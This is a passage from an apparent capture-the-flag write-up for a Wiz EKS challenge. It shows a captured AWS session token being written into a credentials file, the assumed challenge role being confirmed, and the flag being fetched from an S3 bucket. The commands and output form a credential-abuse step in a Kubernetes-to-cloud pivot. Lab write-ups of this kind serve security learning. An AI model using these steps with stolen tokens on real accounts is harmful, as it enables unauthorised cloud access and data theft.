echo "aws_session_token = IQoJb3JpZ2luX2VjEOz//////////wEaCXVzLXdlc3QtMSJIMEYCIQCk1qJGYAf5fic/6XZ08OeVmRPPnrfyftDQwH/mJE03kQIhAPhwKcHtbXSFambfgAIPGwSu+H+Ds6l7hCb1Bgt7jbJsKroECHUQABoMNjg4NjU1MjQ2NjgxIgw1sDbG9rHyXc/e3QoqlwRficlydMRZhiAt8DU4mBC3IXO87p3SqSCdzCs2qeic0A1Rx43+UN0IL0T0WiLpvHKo1+MCikStA0OuxGCuK+paBdmISQdw6XxxvMof+qzmyA/ntxajmkeYmAuqU2bx2jzHk8Q2wefD/1I+utp5BJLleGbVDxaO1kongQaLWjfFKwwJKdgos4PVey85BZoX24haobEcYSYfTZXtiuWpj3gU+Z+P4MA+c4aWsYZHxStE5XMGWf45Oki5gdsgiwznfvd+vBTWD8Zk17efJ0rGmADslPlfH0x29vqQgBSRg2+v1+JzXBehafZVgcobx910tNjy1EyKXuFIa4y2wtGPUNXrK8a9edoonePrqXQWJZzgphh8PXQsngGIbG1iTt4T78VzOYHWby9AyPpG5p/bVQ0l9ZAbag3rRYpBOyItWQvWRd2Jp+s3Zgv22Is8DZBOl7hUH5mshBQRWRjY9UUMeuSmWxyL617D3YaNmYRER6nn0EsLLd8LG863uLE5VYrGeuOSaZmvFIhmmxxLzyyr1uzngM3gr/LOt8ExKmHkQcAoDnX/JQts1Q9uuoNlc3Wr0OUZ18mWaVGg9RBHLc3uYbrk0CSZXItx7D/IJTiaJzZ/SHnFnw81AikUuk8e4cSGWhpagjIvqH9jS1NmMwuDHpcBs7sVO6qU5HQ5Oht75p3HOVq8Q0cvH/NPXW8iTN5NU9Zy9m5jJWZbMOrdpawGOpQBmiwUu2AW8lqnaI7sEGQvuUCJ/ACBRmEUj7j6rNMVVEH4S7kYOhcwbTLrHP4xoeFAk9hNHq29PIB3CHS0n7EOjkAgqwSFH7Bg2l3X+Z6JDOr07if0HeJPHkE1MwxILO03HooJHAiF7b/wBlMompCbZuf/po/e5lU2WL5pFcXO+GCAj3Qy6nlRR5RVx269ewK7qWefqQ==" >> .aws/credentials
aws sts get-caller-identity --profile default
{
"UserId": "AROA2AVYNEVMZEZ2AFVYI:something",
"Account": "688655246681",
"Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/something"
}
Note that we will need to use --profile default
as there are already credentials being set in the environment variable, which will take precendence if we dont call a profile.
Retrieving the flag
Copy aws s3api get-object --bucket challenge-flag-bucket-3ff1ae2 --key flag flag.txt --profile default
{
"AcceptRanges": "bytes",
"LastModified": "2023-11-01T12:27:55+00:00",
"ContentLength": 72,
"ETag": "\"5479da5a2fc031f6a9941a0ed1e1bde9\"",
"ContentType": "binary/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {}
}
cat flag.txt
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}
Reference:
https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html
https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds#workflow-of-iam-role-for-service-accounts-1